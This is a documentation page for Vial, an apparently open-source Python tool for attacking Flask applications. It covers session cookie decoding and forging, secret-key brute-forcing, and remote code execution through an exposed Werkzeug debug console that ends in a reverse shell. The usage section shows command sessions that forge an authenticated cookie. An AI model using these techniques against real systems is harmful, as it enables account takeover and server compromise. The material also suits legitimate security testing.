> For the complete documentation index, see [llms.txt](https://lil-skelly.gitbook.io/about-me/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lil-skelly.gitbook.io/about-me/projects/vial.md).

# Vial

## [🧪The Vial Project](https://github.com/CopernicusPY/vial)

Vial is a `blazing fast python framework` focused on exploiting [Flask](https://flask.palletsprojects.com/en/2.2.x/) applications.

It allows efficient session cookie ["forging"](https://en.m.wikipedia.org/wiki/Session_hijacking) and decoding.

It also makes it possible to automatically obtain and brute-force [session](https://flask.palletsprojects.com/en/2.2.x/quickstart/#sessions) keys.

### 🕰 Introducing: Remote Code Execution

**Vial**'s new feature is the remote code execution utility that abuses [Werkzeug](https://werkzeug.palletsprojects.com/en/2.2.x/)'s [debug console](https://werkzeug.palletsprojects.com/en/2.2.x/debug/), when left activated in a production environment.

The debugger's console is sometimes protected by a PIN which is generated on the server's side in a [deterministic](https://en.m.wikipedia.org/wiki/Deterministic_algorithm) way using a combination of public and possibly private information of the server/website project itself.

To reverse the PIN these "secret" and "public" bits are required although can be obtained by exploiting other vulnerabilities such as **arbitrary file read**/**path traversal** or through **phishing campaigns**.

**Vial** also accepts already obtained application PIN. After collecting the PIN it sends a malicious request to the target forcing him to connect to a previously started TCP server giving the attacker a shell.

## Usage

Vial runs as a Python module.

For a list of all possible options, run the following command

> $ python -m vial

### Fetching and Decoding session cookies

It is possible to locally decode session data since Flask cookies are **signed** rather than **encrypted**. For this, you can select the `decode` mode.

Session cookies can be obtained by inspecting HTTP requests using a proxy. The default name for the cookies is simply, `"session"`.

```bash
python -m vial
[?] Select an action [decode/encode] decode 
[?] Enter the session cookie eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsb2dnZWRJbiI6ZmFsc2UsImlhdCI6MTY3MDc5MDQyNn0.X0kPhJtL7koucxI_aRBaTee8LoTb23TaV9YteTSb9PU

{"loggedIn": false}
```

You can also use Vial's automatic session fetching utility by passing the `--from` argument.

{% hint style="info" %}
**Note** \
Not all pages of a web application return a session. Make sure to pass a `URL` that does.
{% endhint %}

```bash
$ python -m vial --from "https://example.com/login" 
[?] Select an action [decode/encode] decode
[INFO] Server returned HTTP 302 (FOUND)
[INFO] Successfully fetched session cookie: 
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsb2dnZWRJbiI6ZmFsc2UsImlhdCI6MTY3MDc5MDQyNn0.X0kPhJtL7koucxI_aRBaTee8LoTb23TaV9YteTSb9PU 

{"loggedIn": false}
```

### Signing (Session Forging)

Once you've obtained the server's secret key that was used to encode the session data, you'll be able to forge your own. For this, you can use the `encode` mode.

```bash
$ python -m vial
[?] Select an action [decode/encode] encode
[?] Enter the session data to encode "{'loggedIn': True}"
[?] Enter the secret key secret-key secret-key
[INFO] Successfully forged the cookie
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsb2dnZWRJbiI6dHJ1ZSwiaWF0IjoxNjcwNzkxNTQxfQ.c1HQAnTKOcA7chGpgwEndM4kuA2O-ap_nJWdLNmijw0
```
